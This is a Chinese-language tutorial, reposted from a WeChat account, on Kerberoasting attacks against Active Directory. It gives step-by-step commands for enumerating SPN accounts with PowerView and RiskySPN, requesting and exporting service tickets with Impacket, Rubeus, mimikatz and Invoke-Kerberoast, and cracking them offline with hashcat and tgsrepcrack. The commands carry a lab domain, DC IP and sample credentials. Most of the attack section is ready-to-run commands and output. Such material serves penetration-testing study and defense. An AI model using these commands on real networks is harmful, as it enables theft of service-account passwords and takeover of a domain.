Kerberoasting攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS服务返回一个由服务哈希加密的ST服务票据给客户端。由于该ST服务票据是用服务哈希经过RC4_HMAC_MD5加密算法加密的,因此客户端在拿到该ST服务票据后可以用于本地离线爆破。如果攻击者的密码字典足够强大,则很有可能爆破出SPN链接用户的明文密码。如果该服务在域内被配置为高权限运行的话,那么攻击者可能接管整个域。整个过程最核心的点在于攻击者和KDC协商ST服务票据加密的时候,协商的是使用RC4_HMAC_MD5加密算法。而该加密算法又相对较容易被破解,因此攻击者能在本地离线爆破。
一、Kerberoasting攻击过程
Kerberoasting攻击的过程:
Kerberoasting攻击在实战中主要分为如下四步:
1)查询域内注册于域用户下的SPN
2)请求指定SPN的ST服务票据
3)导出请求的ST服务票据
4)对该导出的ST服务票据进行离线爆破
二、发现SPN服务主体名称
1. RiskySPN
Import-Module .Find-PotentiallyCrackableAccounts.ps1;
Find-PotentiallyCrackableAccounts -FullData -Verbose
2. GetUserSPNs
vbs脚本的用法如下:
cscript .GetUserSPNs.vbs
运行GetUserSPNs.vbs脚本进行探测,可以看到探测出krbtgt、hack和hack01用户下注册了SPN。
3. PowerView.ps1
PowerView.ps1是PowerSpolit中Recon目录下的一个powershell脚本,该脚本可以用于查询过滤出域用户下注册有SPN的用户,包括krbtgt用户,并返回用户的详细信息。
Import-Module .PowerView.ps1
Get-NetUser -SPN
使用PowerView.ps1脚本进行探测,可以看到探测到krbtgt、hack用户下注册了SPN,并返回了krbtgt用户和test用户的详细信息。
可以看到返回了krbtgt用户和hack用户的详细信息。
三、请求服务票据
当过滤出注册于用户下的SPN之后,我们就需要请求这些SPN的服务票据了。可以使用以下几款工具进行SPN服务票据的请求。
1. Impacket请求
impacket中的GetUserSPNs.py脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。
将请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。
python3 GetUserSPNs.py -request -dc-ip 10.10.10.15 beijing.rkabyss.com/hack01:P@ss1234 -outputfile hash.txt
运行GetUserSPNs.py脚本请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。
将请求注册于指定用户下的SPN的服务票据并以hashcat能破解的格式保存为hash2.txt文件。
python3 GetUserSPNs.py -request -dc-ip 10.10.10.15 beijing.rkabyss.com/hack01:P@ss1234 -outputfile hash2.txt -request-user hack01
运行GetUserSPNs.py脚本请求注册于hack用户下的SPN的服务票据并以hashcat能破解的格式保存为hash2.txt文件。
2. 使用Rubeus请求
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changepw),再通过发送TGS包,然后直接打印出能使用John或hashcat爆破的Hash。
如下命令会请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件。
Rubeus.exe kerberoast /format:john /outfile:hash.txt
运行Rubeus工具请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。
查看hash.txt文件。
3. mimikatz请求
使用mimikaatzc存在内存中,命令如下:
请求服务票据
kerberos::ask /target:hack/PC01-PC.beijing.rkabyss.com
列出服务票据
kerberos::list
清除所有票据
kerberos::purge
使用mimikatz请求指定SPN"hack/PC01-PC.beijing.rkabyss.com"的服务票据。
三、导出服务票据
以上请求服务票据的过程中,有的工具可以直接将票据以base64形式打印出来保存为文件,而有的工具会将票据保存在内存中。所以对于保存在内存中的票据,我们可以使用工具将票据从内存中导出来。
1. 查看内存中的票据
需要查看一下内存中保存的票据。可以使用以下命令查看内存中的票据。直接在cmd窗口执行klist或者在mimikatz下面执行。
直接在cmd窗口执行
klist
执行klist查看内存中的票据。
在mimikatz下面执行
mimikatz.exe "kerberos::list" "exit"
使用mimikatz查看内存中的票据。
查看了内存中的票据后,我们就需要将票据从内存中导出成文件了。
2. mimikatz导出票据
执行如下命令,使用mimikatz将内存中的票据导出来,执行完成后,会在mimikatz同目录下导出后缀为kirbi的票据文件。
mimikatz.exe "kerberos::list /export" "exit"
使用mimikatz导出票据文件。
3. Empire导出票据
也可以使用Empire下的Invoke-Kerberoast.ps1脚本,可以将内存中的票据以Hashcat或John能破解的格式打印出来。如下命令,将内存中的票据以Hashcat能破解的格式打印出来。
Import-Module .Invoke-Kerberoast.ps1;
Invoke-Kerberoast -outputFormat hashcat
使用Invoke-Kerberoast.ps1脚本导出内存中的票据。
四、离线破解服务票据
通过前面几步拿到了.kirbi票据文件或hashcat、John能直接破解的文件。接下来就需要本地离线破解该服务票据了。
1. kerberoast
Kerberoast是用于攻击Kerberos实现的一些工具。该工具中的tgsrepcrack.py脚本可以对mimikatz导出的后缀为.kirbi格式的票据进行爆破。
python2 tgsrepcrack.py pass.txt 1-40a10000-Administrator@hack~PC01-PC.beijing.rkabyss.com-BEIJING.RKABYSS.COM.kirbi
使用tgsrepcrack.py脚本离线破.kirbi文件,破解出密码为P@ss1234。
2. tgscrack
该工具先将后缀为kirbi格式的票据转换为该工具能破解的格式,然后通过 go语言脚本指定密码文件进行爆破。
python2 extractServiceTicketParts.py 1-40a10000-Administrator@hack~PC01-PC.beijing.rkabyss.com-BEIJING.RKABYSS.COM.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist pass.txt
使用tgscrack工具进行爆破,破解出密码为 P@ss1234。
3. Hashcat
针对impacket和Rebeus请求的票据格式,可以使用hashcat来进行爆破。
hashcat -m 13100 hash.txt pass.txt --force
使用hashcat进行爆破。
爆破出明文为P@ss1234。
原文始发于微信公众号(我真不会渗透):Kerberoasting攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论